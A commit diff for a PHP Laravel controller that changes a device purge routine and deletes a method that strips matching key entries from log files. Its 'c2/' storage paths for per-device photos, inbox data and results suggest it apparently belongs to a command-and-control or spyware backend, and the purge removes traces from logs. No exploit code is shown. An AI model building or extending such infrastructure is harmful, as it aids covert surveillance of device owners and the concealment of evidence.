feat: delete
This commit is contained in:
@@ -267,15 +267,11 @@ class DeviceController extends Controller
|
||||
foreach ([
|
||||
'c2/photos/'.$device->device_id,
|
||||
'c2/inbox/'.$device->device_id,
|
||||
'c2/check/'.$device->device_id,
|
||||
'c2/ds-results/'.$device->device_id,
|
||||
'c2/ds-chunks/'.$device->device_id,
|
||||
'c2/plugin-sessions/'.$device->device_id,
|
||||
] as $dir) {
|
||||
$this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx));
|
||||
}
|
||||
$this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device));
|
||||
$this->purgeStep($ctx, 'purge_ds_logs', fn () => $this->purgeDarkSwordLogs($device, $ctx));
|
||||
|
||||
$this->purgeStep($ctx, 'db_transaction', function () use ($device) {
|
||||
DB::transaction(function () use ($device) {
|
||||
@@ -331,72 +327,6 @@ class DeviceController extends Controller
|
||||
return $keys;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keys
|
||||
* @param array<string, mixed> $ctx
|
||||
*/
|
||||
private function purgeDsFileLogs(array $keys, array $ctx): void
|
||||
{
|
||||
$dir = public_path('log/ds');
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$needles = array_values(array_unique(array_filter(array_map(
|
||||
static fn (string $key) => strtolower($key),
|
||||
$keys
|
||||
), static fn (string $key) => strlen($key) >= 8)));
|
||||
if ($needles === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$files = glob($dir.'/*.log') ?: [];
|
||||
$rewritten = 0;
|
||||
$writeFails = [];
|
||||
foreach ($files as $file) {
|
||||
$raw = @file_get_contents($file);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
continue;
|
||||
}
|
||||
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
|
||||
$kept = [];
|
||||
$changed = false;
|
||||
foreach ($parts as $part) {
|
||||
if (trim($part) === '') {
|
||||
continue;
|
||||
}
|
||||
$hay = strtolower($part);
|
||||
$hit = false;
|
||||
foreach ($needles as $needle) {
|
||||
if (str_contains($hay, $needle)) {
|
||||
$hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($hit) {
|
||||
$changed = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
$kept[] = $part;
|
||||
}
|
||||
if (! $changed) {
|
||||
continue;
|
||||
}
|
||||
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
|
||||
if (@file_put_contents($file, $out) === false) {
|
||||
$writeFails[] = $this->pathDebug($file);
|
||||
} else {
|
||||
$rewritten++;
|
||||
}
|
||||
}
|
||||
Log::info('device_purge ds_files', $ctx + [
|
||||
'dir' => $this->pathDebug($dir),
|
||||
'log_files' => count($files),
|
||||
'rewritten' => $rewritten,
|
||||
'write_fails' => $writeFails,
|
||||
]);
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user